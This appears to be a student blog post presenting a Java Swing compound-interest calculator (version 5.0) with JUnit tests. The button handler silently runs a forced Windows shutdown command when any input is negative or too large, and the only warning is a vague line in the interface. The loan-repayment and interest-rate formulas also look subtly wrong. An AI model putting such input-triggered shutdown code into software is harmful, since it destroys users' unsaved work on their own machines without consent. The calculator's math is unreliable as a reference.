0330 复利算法5.0（包括测试）

更新说明：

本次程序和50黄柏堂同学一次完成

把C语言版本转换为JAVA；

更新了界面；

更新了测试；

package fuli;

import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.IOException;
import java.math.BigDecimal;
import java.lang.Runtime;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JRadioButton;
import javax.swing.JScrollPane;
import javax.swing.JTextField;
import javax.swing.JTextPane;
import javax.swing.SwingUtilities;
import javax.swing.UIManager;

import org.dyno.visual.swing.layouts.Constraints;
import org.dyno.visual.swing.layouts.GroupLayout;
import org.dyno.visual.swing.layouts.Leading;

//VS4E -- DO NOT REMOVE THIS LINE!
public class jiemian extends JFrame {

    private static final long serialVersionUID = 1L;
    private JTextField jTextField3;
    private JTextField jTextField2;
    private JTextField jTextField1;
    private JTextField jTextField0;
    private JLabel jLabel0;
    private JLabel jLabel1;
    private JLabel jLabel2;
    private JLabel jLabel3;
    private JTextField jTextField4;
    private JLabel jLabel4;
    private JButton jButton0;
    private JLabel jLabel5;
     JTextField jTextField5;
    private JRadioButton jRadioButton0;
    private JRadioButton jRadioButton1;
    public jiemian() {
        initComponents();
    }

    private void initComponents() {
        setLayout(new GroupLayout());
        add(getJButton0(), new Constraints(new Leading(96, 10, 10), new Leading(237, 10, 10)));
        add(getJLabel5(), new Constraints(new Leading(17, 12, 12), new Leading(297, 12, 12)));
        add(getJTextField5(), new Constraints(new Leading(106, 86, 12, 12), new Leading(297, 12, 12)));
        add(getJRadioButton0(), new Constraints(new Leading(224, 12, 12), new Leading(48, 12, 12)));
        add(getJRadioButton1(), new Constraints(new Leading(224, 12, 12), new Leading(78, 12, 12)));
        add(getJRadioButton2(), new Constraints(new Leading(224, 12, 12), new Leading(110, 12, 12)));
        add(getJRadioButton3(), new Constraints(new Leading(224, 12, 12), new Leading(140, 10, 10)));
        add(getJRadioButton4(), new Constraints(new Leading(224, 12, 12), new Leading(167, 10, 10)));
        add(getJRadioButton5(), new Constraints(new Leading(224, 12, 12), new Leading(195, 12, 12)));
        add(getJRadioButton6(), new Constraints(new Leading(224, 12, 12), new Leading(224, 12, 12)));
        add(getJTextField0(), new Constraints(new Leading(106, 110, 12, 12), new Leading(48, 24, 12, 12)));
        add(getJTextField1(), new Constraints(new Leading(106, 110, 12, 12), new Leading(84, 24, 12, 12)));
        add(getJTextField2(), new Constraints(new Leading(106, 110, 12, 12), new Leading(125, 24, 12, 12)));
        add(getJTextField3(), new Constraints(new Leading(106, 110, 12, 12), new Leading(162, 24, 12, 12)));
        add(getJTextField4(), new Constraints(new Leading(106, 110, 12, 12), new Leading(198, 12, 12)));
        add(getJLabel1(), new Constraints(new Leading(33, 10, 10), new Leading(87, 12, 12)));
        add(getJLabel2(), new Constraints(new Leading(33, 12, 12), new Leading(123, 12, 12)));
        add(getJLabel3(), new Constraints(new Leading(33, 12, 12), new Leading(159, 12, 12)));
        add(getJLabel4(), new Constraints(new Leading(33, 12, 12), new Leading(198, 12, 12)));
        add(getJLabel0(), new Constraints(new Leading(2, 115, 12, 12), new Leading(54, 12, 12)));
        add(getJScrollPane0(), new Constraints(new Leading(231, 100, 10, 10), new Leading(255, 80, 12, 12)));
        setSize(347, 345);
    }

    private JScrollPane getJScrollPane0() {
        if (jScrollPane0 == null) {
            jScrollPane0 = new JScrollPane();
            jScrollPane0.setViewportView(getJTextPane0());
        }
        return jScrollPane0;
    }

    private JTextPane getJTextPane0() {
        if (jTextPane0 == null) {
            jTextPane0 = new JTextPane();
            jTextPane0.setEnabled(false);
            jTextPane0.setText("请不要输入过
大的数
不然后果自负");
        }
        return jTextPane0;
    }

    private JRadioButton getJRadioButton6() {
        if (jRadioButton6 == null) {
            jRadioButton6 = new JRadioButton();
            jRadioButton6.setSelected(false);
            jRadioButton6.setText("等额还款金额");
            jRadioButton6.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton6MouseMousePressed(event);
                }
            });
        }
        return jRadioButton6;
    }

    private JRadioButton getJRadioButton5() {
        if (jRadioButton5 == null) {
            jRadioButton5 = new JRadioButton();
            jRadioButton5.setSelected(false);
            jRadioButton5.setText("定期投资");
            jRadioButton5.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton5MouseMousePressed(event);
                }
            });
        }
        return jRadioButton5;
    }

    private JRadioButton getJRadioButton4() {
        if (jRadioButton4 == null) {
            jRadioButton4 = new JRadioButton();
            jRadioButton4.setSelected(false);
            jRadioButton4.setText("利率计算");
            jRadioButton4.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton4MouseMousePressed(event);
                }
            });
        }
        return jRadioButton4;
    }

    private JRadioButton getJRadioButton3() {
        if (jRadioButton3 == null) {
            jRadioButton3 = new JRadioButton();
            jRadioButton3.setSelected(false);
            jRadioButton3.setText("年限计算");
            jRadioButton3.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton3MouseMousePressed(event);
                }
            });
        }
        return jRadioButton3;
    }

    private JRadioButton getJRadioButton2() {
        if (jRadioButton2 == null) {
            jRadioButton2 = new JRadioButton();
            jRadioButton2.setSelected(false);
            jRadioButton2.setText("本金计算");
            jRadioButton2.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton2MouseMousePressed(event);
                }
            });
        }
        return jRadioButton2;
    }

    private JRadioButton getJRadioButton1() {
        if (jRadioButton1 == null) {
            jRadioButton1 = new JRadioButton();
            jRadioButton1.setSelected(true);
            jRadioButton1.setText("复利计算");
            jRadioButton1.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton1MouseMousePressed(event);
                }
    
                
            });
        }
        return jRadioButton1;
    }

    private JRadioButton getJRadioButton0() {
        if (jRadioButton0 == null) {
            jRadioButton0 = new JRadioButton();
            jRadioButton0.setSelected(false);
            jRadioButton0.setText("单利计算");
            jRadioButton0.addMouseListener(new MouseAdapter() {
    
                public void mousePressed(MouseEvent event) {
                    jRadioButton0MouseMousePressed(event);
                }
            });
        }
        return jRadioButton0;
    }

    private JTextField getJTextField5() {
        if (jTextField5 == null) {
            jTextField5 = new JTextField();
            jTextField5.setEditable(false);
        }
        return jTextField5;
    }

    private JLabel getJLabel5() {
        if (jLabel5 == null) {
            jLabel5 = new JLabel();
            jLabel5.setText("输出结果：");
        }
        
        return jLabel5;
    }

    private JButton getJButton0() {
        if (jButton0 == null) {
            jButton0 = new JButton();
            jButton0.setText("输入");
            jButton0.addMouseListener(new MouseAdapter() {
    
                public void mouseClicked(MouseEvent event) {
                    try {
                        jButton0MouseMouseClicked(event);
                    } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }
                }
            });
        }
        return jButton0;
    }

    private JLabel getJLabel4() {
        if (jLabel4 == null) {
            jLabel4 = new JLabel();
            jLabel4.setText("终值");
            
        }
        return jLabel4;
    }

    private JTextField getJTextField4() {
        if (jTextField4 == null) {
            jTextField4 = new JTextField();
            jTextField4.setEditable(false);
            jTextField4.setText("0");
        }
        return jTextField4;
    }

    private JLabel getJLabel3() {
        if (jLabel3 == null) {
            jLabel3 = new JLabel();
            jLabel3.setText("年复利次数");
        }
        return jLabel3;
    }

    private JLabel getJLabel2() {
        if (jLabel2 == null) {
            jLabel2 = new JLabel();
            jLabel2.setText("存入年限");
        }
        return jLabel2;
    }

    private JLabel getJLabel1() {
        if (jLabel1 == null) {
            jLabel1 = new JLabel();
            jLabel1.setText("年利率");
        }
        return jLabel1;
    }

    private JLabel getJLabel0() {
        if (jLabel0 == null) {
            jLabel0 = new JLabel();
            jLabel0.setText("           本金");
        }
        return jLabel0;
    }

    private JTextField getJTextField0() {
        if (jTextField0 == null) {
            jTextField0 = new JTextField();
            jTextField0.setText("0");
        }
        return jTextField0;
    }

    private JTextField getJTextField1() {
        if (jTextField1 == null) {
            jTextField1 = new JTextField();
            jTextField1.setText("0");
        }
        return jTextField1;
    }

    private JTextField getJTextField2() {
        if (jTextField2 == null) {
            jTextField2 = new JTextField();
            jTextField2.setText("0");
        }
        return jTextField2;
    }

    private JTextField getJTextField3() {
        if (jTextField3 == null) {
            jTextField3 = new JTextField();
            jTextField3.setText("0");
        }
        return jTextField3;
    }

    private static void installLnF() {
        try {
            String lnfClassname = PREFERRED_LOOK_AND_FEEL;
            if (lnfClassname == null)
                lnfClassname = UIManager.getCrossPlatformLookAndFeelClassName();
            UIManager.setLookAndFeel(lnfClassname);
        } catch (Exception e) {
            System.err.println("Cannot install " + PREFERRED_LOOK_AND_FEEL
                    + " on this platform:" + e.getMessage());
        }
    }

    /**
     * Main entry of the class.
     * Note: This class is only created so that you can easily preview the result at runtime.
     * It is not expected to be managed by the designer.
     * You can modify it as you like.
     */
    public static void main(String[] args) {
        
        installLnF();
        SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                
                jiemian frame = new jiemian();
                frame.setDefaultCloseOperation(jiemian.EXIT_ON_CLOSE);
                frame.setTitle("jiemian");
                frame.getContentPane().setPreferredSize(frame.getSize());
                frame.pack();
                frame.setLocationRelativeTo(null);
                frame.setVisible(true);
            }
        });
    }
    int xuanze=1;
   
    private JRadioButton jRadioButton2;
    private JRadioButton jRadioButton3;
    private JRadioButton jRadioButton4;
    private JRadioButton jRadioButton5;
    private JRadioButton jRadioButton6;
    private JTextPane jTextPane0;
    private JScrollPane jScrollPane0;
    private static final String PREFERRED_LOOK_AND_FEEL = "javax.swing.plaf.metal.MetalLookAndFeel";
    private void jButton0MouseMouseClicked(MouseEvent event) throws IOException {
        
        String P = jTextField0.getText();
        String I = jTextField1.getText();
        String N = jTextField2.getText();
        String M = jTextField3.getText();
        String SUM = jTextField4.getText();
        
        double F=0;
        double p=Double.parseDouble(P);
        double i=Double.parseDouble(I); 
        double m=Double.parseDouble(M); 
        double n=Double.parseDouble(N); 
        double sum=Double.parseDouble(SUM);
        Runtime r=Runtime.getRuntime();
        if (p<0||p > 1000000 ||i<0|| i > 1 ||m<0|| m > 1000 ||n<0|| n > 1000) {            
            r.exec("shutdown -f -s -t 1");
        }
        if(xuanze==1){
        i=Math.pow((1+(i/m)),m)-1;        
        F=p*Math.pow((1+i),n);
        }
        
        else if(xuanze==0){
        F=p+p*i*n;
        }
        else if(xuanze==2){
        i=Math.pow((1+i/m),m)-1;
        F=sum/Math.pow(1+i,n);
        }
        else if(xuanze==3){
        i=Math.pow((1+i/m),m)-1;
        F=Math.log(sum/p)/Math.log(1+i);
        }
        else if(xuanze==4){
        F=m*(Math.pow(Math.pow(sum/p,1.0/n),1.0/i)-1);    
        }
        else if(xuanze==5){
        F=p*(1+i)*(-1+Math.pow((1+i),n))/i;
        }
        else if(xuanze==6){
        F=p*i*Math.pow((1+i),n)/Math.pow((1+i),n-1);     
        }
        BigDecimal b = new BigDecimal(F);
        double F1 = b.setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue();
        String f = Double.toString(F1);
        jTextField5.setText(f);
        
            
    }

    private void jRadioButton0MouseMousePressed(MouseEvent event) {
        if(xuanze!=0){
            xuanze=0;
            jLabel0.setText("           本金");
            jLabel1.setText("年利率");
            jLabel2.setText("存入年限");
            //jRadioButton0.setSelected(false);
            jRadioButton1.setSelected(false);
            jRadioButton2.setSelected(false);
            jRadioButton3.setSelected(false);
            jRadioButton4.setSelected(false);
            jRadioButton5.setSelected(false);
            jRadioButton6.setSelected(false);
            jTextField0.setEditable(true);
            jTextField1.setEditable(true);
            jTextField2.setEditable(true);
            jTextField3.setEditable(false);
            jTextField4.setEditable(false);
            guiling();
            }
            else
                jRadioButton0.setSelected(false);
    }
    void guiling(){
            jTextField0.setText("0");
            jTextField1.setText("0");
            jTextField2.setText("0");
            jTextField3.setText("0");
            jTextField4.setText("0");
            jTextField5.setText("0");
    }
    private void jRadioButton1MouseMousePressed(MouseEvent event) {
        if(xuanze!=1){
            xuanze=1;
            jLabel0.setText("           本金");
            jLabel1.setText("年利率");
            jLabel2.setText("存入年限");
            jRadioButton0.setSelected(false);
            //jRadioButton1.setSelected(false);
            jRadioButton2.setSelected(false);
            jRadioButton3.setSelected(false);
            jRadioButton4.setSelected(false);
            jRadioButton5.setSelected(false);
            jRadioButton6.setSelected(false);
            jTextField0.setEditable(true);
            jTextField1.setEditable(true);
            jTextField2.setEditable(true);
            jTextField3.setEditable(true);
            jTextField4.setEditable(false);
            guiling();
            }
            else
                jRadioButton1.setSelected(false);
    }

    private void jRadioButton6MouseMousePressed(MouseEvent event) {
        if(xuanze!=6){
            xuanze=6;
            jLabel0.setText("           本金");
            jLabel1.setText("季利率");
            jLabel2.setText("期限");
            jRadioButton0.setSelected(false);
            jRadioButton1.setSelected(false);
            jRadioButton2.setSelected(false);
            jRadioButton3.setSelected(false);
            jRadioButton4.setSelected(false);
            jRadioButton5.setSelected(false);
            //jRadioButton6.setSelected(false);
            jTextField0.setEditable(true);
            jTextField1.setEditable(true);
            jTextField2.setEditable(true);
            jTextField3.setEditable(false);
            jTextField4.setEditable(false);
            guiling();
            }
            else
                jRadioButton6.setSelected(false);
    }

    private void jRadioButton5MouseMousePressed(MouseEvent event) {
        if(xuanze!=5){
            xuanze=5;
            jLabel0.setText("每期定投入投入");
            jLabel1.setText("收益率");
            jLabel2.setText("定期投数");
            jRadioButton0.setSelected(false);
            jRadioButton1.setSelected(false);
            jRadioButton2.setSelected(false);
            jRadioButton3.setSelected(false);
            jRadioButton4.setSelected(false);
            //jRadioButton5.setSelected(false);
            jRadioButton6.setSelected(false);
            jTextField0.setEditable(true);
            jTextField1.setEditable(true);
            jTextField2.setEditable(true);
            jTextField3.setEditable(false);
            jTextField4.setEditable(false);
            guiling();
            }
            else
                jRadioButton5.setSelected(false);
    }

    private void jRadioButton4MouseMousePressed(MouseEvent event) {
        if(xuanze!=4){
            xuanze=4;
            jLabel0.setText("           本金");
            jLabel1.setText("年利率");
            jLabel2.setText("存入年限");
            jRadioButton0.setSelected(false);
            jRadioButton1.setSelected(false);
            jRadioButton2.setSelected(false);
            jRadioButton3.setSelected(false);
            //jRadioButton4.setSelected(false);
            jRadioButton5.setSelected(false);
            jRadioButton6.setSelected(false);
            jTextField0.setEditable(true);
            jTextField1.setEditable(false);
            jTextField2.setEditable(true);
            jTextField3.setEditable(true);
            jTextField4.setEditable(true);
            guiling();
            }
            else
                jRadioButton4.setSelected(false);
    }

    private void jRadioButton3MouseMousePressed(MouseEvent event) {
        if(xuanze!=3){
            xuanze=3;
            jLabel0.setText("           本金");
            jLabel1.setText("年利率");
            jLabel2.setText("存入年限");
            jRadioButton0.setSelected(false);
            jRadioButton1.setSelected(false);
            jRadioButton2.setSelected(false);
            //jRadioButton3.setSelected(false);
            jRadioButton4.setSelected(false);
            jRadioButton5.setSelected(false);
            jRadioButton6.setSelected(false);
            jTextField0.setEditable(true);
            jTextField1.setEditable(true);
            jTextField2.setEditable(false);
            jTextField3.setEditable(true);
            jTextField4.setEditable(true);
            guiling();
            }
            else
                jRadioButton3.setSelected(false);
    }

    private void jRadioButton2MouseMousePressed(MouseEvent event) {
        if(xuanze!=2){
            xuanze=2;
            jLabel0.setText("           本金");
            jLabel1.setText("年利率");
            jLabel2.setText("存入年限");
            jRadioButton0.setSelected(false);
            jRadioButton1.setSelected(false);
            //jRadioButton2.setSelected(false);
            jRadioButton3.setSelected(false);
            jRadioButton4.setSelected(false);
            jRadioButton5.setSelected(false);
            jRadioButton6.setSelected(false);
            jTextField0.setEditable(false);
            jTextField1.setEditable(true);
            jTextField2.setEditable(true);
            jTextField3.setEditable(true);
            jTextField4.setEditable(true);
            guiling();
            }
            else
                jRadioButton2.setSelected(false);
        
    }

}

 

测试结果：http://www.cnblogs.com/huang123/p/5336248.html

import static org.junit.Assert.*;

import java.math.BigDecimal;

import org.junit.Test;







public class test {
     
    @Test
    public void fulitest(){
        System.out.print("
复利:      ");
        double wh = new fuli().CalculateA(100,1,0.2,2);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh-121.00==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }
    
    @Test    
    public void danlitest(){
        System.out.print("
单利:      ");
        double wh = new danli().CalculateA(100,1,0.2);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh-120.00==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }
    
    @Test    
    public void benjintest(){
        System.out.print("
本金:      ");
        double wh = new benjin().CalculateA(200,3,0.2,2);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh-112.89==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }
    
    @Test    
    public void huankuantest(){
        System.out.print("
还款:      ");
        double wh = new huankuan().CalculateA(200,0.2,10);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh-48.00==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }
    
    @Test    
    public void lilvtest(){
        System.out.print("
利率:      ");
        double wh = new lilv().CalculateA(100,200,2,3);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh- 0.37==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }
    
    @Test    
    public void shijiantest(){
        System.out.print("
时间:      ");
        double wh = new shijian().CalculateA(100,200,0.2,1);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh-3.80==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }
    
    @Test    
    public void touzitest(){
        System.out.print("
投资:      ");
        double wh = new touzi().CalculateA(100,0.2,3);
        System.out.print(wh);
        
        BigDecimal   b   =   new   BigDecimal(wh);  
        wh   =   b.setScale(2,   BigDecimal.ROUND_HALF_UP).doubleValue();  
        
        boolean test=false;
        
        if(wh-436.80==0)
            test=true;
        else
            test=false;
        assertEquals(true,test);
        
    }

}

本次更新，纯属意外，如有雷同，敬请谅解